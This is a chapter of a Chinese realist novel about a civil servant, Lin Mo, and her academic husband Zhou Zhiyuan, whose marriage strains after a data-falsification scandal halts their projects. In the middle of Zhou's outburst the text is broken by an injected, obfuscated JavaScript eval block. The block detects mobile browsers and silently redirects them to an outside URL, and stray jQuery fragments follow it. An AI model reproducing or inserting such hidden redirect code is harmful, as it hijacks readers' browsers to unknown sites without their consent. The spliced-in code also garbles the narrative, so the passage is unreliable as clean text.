周六的早晨下起了雨。


    雨点敲打着窗户，发出细密而持续的声响。林墨醒来时，身边的床铺已经空了。她看了一眼手机——七点二十。客厅里传来乐乐看动画片的声音，还有周致远在厨房准备早餐的动静。


    一切都和往常一样，但又完全不一样。


    昨晚从咖啡馆回来后，夫妻俩几乎没怎么说话。周致远把自己关在书房里整理项目材料，林墨陪乐乐洗澡、讲故事、哄睡。十一点，她推开书房门，看见周致远趴在书桌上睡着了，电脑屏幕还亮着，是一张复杂的数据校验表。


    她没有叫醒他，只是拿了条毯子轻轻盖在他身上。


    此刻，林墨起身走进客厅。乐乐穿着睡衣坐在地毯上，面前摆着积木，但眼睛盯着电视。周致远从厨房端出煎蛋和牛奶，看见林墨，点了点头：“早餐好了。”


    他的眼睛依然布满红血丝，但声音平静了许多。


    “你今天有什么安排？”林墨问。


    “去学校实验室，数据要重做。”周致远把煎蛋放在乐乐面前，“可能要忙一整天。中午你们自己吃，不用等我。”


    “需要我帮忙吗？”


    “不用。”周致远避开她的目光，“专业的事，我自己来。”


    早餐在沉默中结束。雨下得更大了，窗户上水流如注。周致远匆匆吃完，收拾了碗筷，穿上外套准备出门。


    “爸爸再见！”乐乐跑过去抱了抱他的腿。


    周致远蹲下身，亲了亲女儿的脸：“乖，听妈妈的话。”


    他站起身时，林墨看见他外套口袋里露出一角文件——是那份科技厅的整改通知。纸边已经有些卷曲，像是被反复翻看过很多次。


    门关上了。楼道里传来下楼的脚步声，渐渐消失在雨声中。


    上午九点，雨势稍缓。林墨带着乐乐去超市，买下周住院需要的一些小东西。超市里人来人往，周末的气氛热闹而拥挤。


    在日用品区，林墨遇见了赵小曼。


    两人都愣住了。赵小曼推着购物车，车里放着些简单的蔬菜水果。她瘦了很多，原本合身的米色风衣此刻显得空荡荡的，脸色苍白，眼下的黑眼圈即使用粉底也遮不住。


    “林……林老师。”赵小曼先开口，声音很轻。


    “小曼。”林墨点点头，“买菜？”


    “嗯。”赵小曼看了一眼乐乐，勉强笑了笑，“孩子真可爱。”


    气氛尴尬地沉默了几秒。乐乐好奇地看着这个陌生的阿姨，小手紧紧抓着林墨的衣角。


    “我……”赵小曼低下头，“我下周就调去档案室了。陈主任说，先避避风头。”


    林墨心里一沉。档案室——那是比综合一处更加边缘的地方，去了那里，基本上就等于职业生涯的终结。


    “对不起。”赵小曼突然说，声音哽咽了，“我不该……不该那么做。数据的事，是我让下面的人……修饰的。我以为只要结果好看，过程不重要。”


    她的眼泪掉下来，滴在购物车的金属杆上：“现在什么都没了。项目没了，职位没了，连……连我婆婆都说，早知道这样，当初就不该让我这么拼命工作。”


    林墨不知道说什么。她看着眼前这个曾经骄傲的年轻干部，此刻在超市的货架间哭泣，像个迷路的孩子。


    “林老师，你……你的项目还能继续吗？”赵小曼擦掉眼泪，抬起头问。


    “暂停了。”林墨如实说，“等风头过去。”


    “那就好。”赵小曼苦笑，“至少还有希望。不像我……”


    她没有说完，推着购物车转身离开。背影在超市明亮的灯光下，显得格外单薄。


    乐乐拉拉林墨的手：“妈妈，那个阿姨为什么哭？”


    “因为她……做错了一些事。”林墨轻声说。


    “做错了可以改呀。”


    “有些错，改了也要付出代价。”


    回家的路上，雨又下大了。林墨一手提着购物袋，一手牵着乐乐。雨水打湿了她们的裤脚，凉意顺着脚踝往上爬。


    她想起赵小曼最后的那个眼神——有悔恨，有羡慕，还有一种说不清的复杂情绪。那个曾经把她当作对手的人，现在成了体制博弈中的牺牲品。


    而她呢？她的项目只是暂停，还有重启的希望。但这希望需要等多久？一个月？半年？还是一年？


    雨幕中，城市的轮廓模糊不清。


    傍晚六点，周致远还没回来。


    林墨做了简单的晚餐：番茄炒蛋，青菜，米饭。乐乐吃了半碗，就开始打哈欠。今天在外面跑了一天，孩子累了。


    七点，林墨给周致远发消息：“几点回来？”


    没有回复。


    七点半，她给周致远打电话。响了很久，终于接通，但那边声音嘈杂，像是在实验室。


    “还在忙？”林墨问。


    “嗯。数据重做比想象中麻烦，原来的样本有一部分找不到了，要重新联系社区。”周致远的声音很疲惫，“你们先吃，不用等我。”


    “需要我送饭过去吗？”


    “不用。”


    电话挂断了。林墨看着手机屏幕慢慢暗下去，心里有一种说不出的空落。


    八点，她哄乐乐睡觉。孩子今天格外黏人，一定要妈妈陪着躺下。


    “妈妈，爸爸今天不回来吗？”


    “爸爸在忙工作。”


    “就像妈妈以前那样忙吗？”


    这个问题让林墨愣住了。是啊，就像她以前那样忙——深夜回家，周末加班，错过孩子的成长时刻。现在角色调换了，她才真切地感受到，等待的那个人是什么心情。


    “睡吧，宝贝。”她亲了亲女儿的额头。


    九点半，周致远终于回来了。


    他浑身湿透，头发贴在额头上，眼镜片上都是水珠。手里提着一个沉重的电脑包，进门时差点绊倒。


    “吃饭了吗？”林墨迎上去。


    “吃了点面包。”周致远脱掉湿外套，声音沙哑，“实验室楼下有自动贩卖机。”


    林墨去厨房热了饭菜。周致远坐在餐桌前，看着热气腾腾的番茄炒蛋，却没有动筷子。


    “数据……顺利吗？”林墨在他对面坐下。


    “不顺利。”周致远摘下眼镜，用衣角擦拭镜片，“三个社区，有一个已经拆迁了，原来的居民联系不上。另一个社区的负责人换了，不配合。只剩下一个社区还能做，但样本量不够。”


    他重新戴上眼镜，眼神空洞：“三个月……根本来不及。除非……”


    “除非什么？”


    “除非降低标准，用一些替代数据。”周致远的声音越来越低，“就像……就像赵小曼那样。”


    林墨的心猛地一沉：“你说什么？”


    “我说我可能完不成！”周致远突然提高声音，双手重重拍在餐桌上，碗筷被震得叮当作响，“三个月的整改期，要重新设计抽样方案，联系社区，收集数据，分析整理，写报告——我一个人怎么可能做完？我还有课要上，有论文要改，有系里的事务要处理！”


    他的眼睛红了，不是哭，而是一种压抑到极致的愤怒：“你知道我今天打了多少个电话吗？二十七个！二十七个电话，只约到一个社区的访谈！另外两个，一个说‘没时间’，一个说‘要请示领导’！这就是现实！这就是我每天面对的狗屁现实！”


    林墨惊呆了。她从未见过周致远这样失控。这个永远理性、永远条理清晰的男人，此刻像一头困兽，在狭小的厨房里咆哮。


    “那……那怎么办？”她听见自己的声音在颤抖。


    “怎么办？”周致远冷笑，“我能怎么办？项目废了，教授评不上，那两篇论文撤稿，我在学术圈就成了笑话！以后申请项目，谁还会给我？带研究生，谁还愿意跟我？”


    他站起来，在狭小的厨房里来回走动，像笼中的困兽：“三年！我做了三年！每天熬夜，周末加班，寒暑假都在调研！现在全完了！就因为一个数据错误！就因为我想帮你！”


    “致远，你冷静点……”


    “我冷静不了！”周致远转过身，盯着她，“你知道这半年我为你付出了多少吗？你的那些数据，你的理论模型，你的汇报材料——哪一样没有我的心血？我推掉了两个学术会议，耽误了一篇论文，连我自己的博士生都说‘周老师最近怎么总是不在状态’！”


    他走到林墨面前，声音因为激动而变形：“我为什么要这么做？因为你是我的妻子！因为你在乎那个项目！因为我想帮你！可是现在呢？你的项目被叫停了，我的项目要废了，我们俩就像两个傻子，忙活了半年，什么都没得到！”


    “不是什么都没得到。”林墨站起来，试图握住他的手，“我们得到了……”


    “得到了什么？居民的感谢？社区的认可？”周致远甩开她的手，“那些有什么用？能当饭吃吗？能评职称吗？能让我们换个大点的房子吗？能让乐乐上更好的学校吗？”


    他的每一句话都像刀子，割在林墨心上。


    “周致远，你怎么能这么说？”她的声音也开始发抖，“那些居民是活生生的人！王秀英的孙子开始说话了，赵先生重拾了工匠的尊严，张大姐找到了退休后的价值——这些在你眼里就一文不值吗？”


    “值！当然值！”周致远的声


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965889|193373||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    音里满是讽刺，“但值多少钱？王秀英的感谢值三万块钱手术费吗？赵先生的尊严值一个教授的职称吗？张大姐的价值值我们一家人的未来吗？”


    林墨的眼泪涌了出来：“所以你后悔了？后悔帮我了？”


    “是！我后悔了！”周致远脱口而出，但说完就愣住了。他看着林墨苍白的脸，看着她的眼泪，张了张嘴，想说什么，却发不出声音。


    厨房里只剩下两个人的呼吸声，还有窗外淅淅沥沥的雨声。


    许久，周致远低声说：“对不起，我……我不是那个意思。”


    “那你是什么意思？”林墨擦掉眼泪，声音冷了下来，“周致远，这半年，你帮我，我很感激。但我从来没有要求你放弃自己的事业来帮我。是你自己选择的。”


    “是，是我自己选择的。”周致远苦笑，“因为我看见你那么拼命，因为我觉得我应该支持你，因为……因为我想做个好丈夫。”


    他的声音渐渐低下去：“可是现在我才发现，我既不是好学者，也不是好丈夫。我两头都没顾好。”


    他重新坐下，双手抱住头：“林墨，你知道吗？去年哈佛有个访问学者的机会，一年。系里推荐了我，但我拒绝了。因为乐乐还小，因为你工作忙，因为我觉得家庭需要我。”


    他抬起头，眼睛通红：“如果不是为了你和孩子，我早就可以……早就可以有更好的发展。但现在呢？我留下来了，可得到了什么？一个可能要废掉的项目，一个可能评不上的职称，还有一个……一个对我失望的妻子。”


    林墨的心脏像被一只无形的手紧紧攥住，疼得她几乎无法呼吸。她看着眼前这个男人——这个她爱了十年、结婚七年、共同养育一个孩子的男人——此刻脆弱得像个孩子。


    “我没有对你失望。”她轻声说，“我从来都没有。”


    “可是我对我自己失望。”周致远的眼泪终于掉下来，这个理性了一辈子的男人，在厨房昏暗的灯光下，哭得像个孩子，“我什么都想要，却什么都做不好。我想做个好学者，也想做个好丈夫、好父亲。可是现实告诉我，你只能选一样。”


    窗外的雨声更大了，仿佛要把整个世界淹没。


    林墨走过去，蹲在他面前，握住他的手。他的手很凉，还在微微颤抖。


    “我们可以一起想办法。”她说，“你的项目，我们一起来做。我虽然不懂学术，但我可以帮你联系社区，帮你整理资料，帮你……”


    “来不及了。”周致远摇摇头，“三个月的整改期，今天已经过去三天了。而且……而且科技厅的人说，像我这种情况，基本上没有补救的可能。他们只是走个程序。”


    他抽出手，站起身：“我累了，先去睡了。”


    他走进卧室，关上门。那声轻微的“咔哒”，在寂静的夜里格外清晰。


    林墨坐在厨房里，看着桌上已经凉透的饭菜。番茄炒蛋的红色在灯光下显得格外刺眼，像某种无声的控诉。


    她想起很多年前，他们刚结婚的时候。那时候周致远还是个讲师，她刚进发改委。两个人都没什么钱，租着一个小房子。周末他们一起做饭，周致远切菜，她炒菜。他会从背后抱住她，说：“等我有钱了，给你买个大厨房。”


    后来他们买了房子，有了乐乐。厨房确实大了，但他们一起做饭的次数越来越少。再后来，她开始加班，他开始忙项目。再后来……就成了现在这样。


    雨还在下，敲打着窗户，敲打着这个城市，敲打着每一个在深夜里无法安睡的人。


    林墨起身，收拾碗筷。水流哗哗地冲刷着盘子，热气模糊了窗玻璃。她看见自己的倒影——一个三十多岁的女人，眼角的细纹，疲惫的眼神，还有嘴角那种习惯性紧绷的弧度。


    这就是生活。不是电视剧里的大起大落，而是日复一日的琐碎，是理想与现实之间的撕扯，是爱与被爱之间的平衡，是在无数个这样的深夜里，独自消化所有的委屈和无奈。


    收拾完厨房，她走到卧室门口。门缝里没有灯光，周致远应该已经睡了。


    她没有进去，而是转身走进乐乐的房间。孩子睡得很香，一只小手露在被子外面。林墨轻轻地把那只小手塞回被窝，坐在床边，看了很久。


    窗外，雨渐渐小了。城市在夜色中安静下来，只有远处的路灯还在雨中坚持亮着。


    明天太阳还会升起，生活还要继续。


    但有些东西，已经不一样了。


    裂缝一旦出现，就很难完全弥合。


    就像今晚的这场雨，下过了，地上就会留下水痕。即使太阳出来，水痕干了，那个地方的颜色，也永远和别处不同。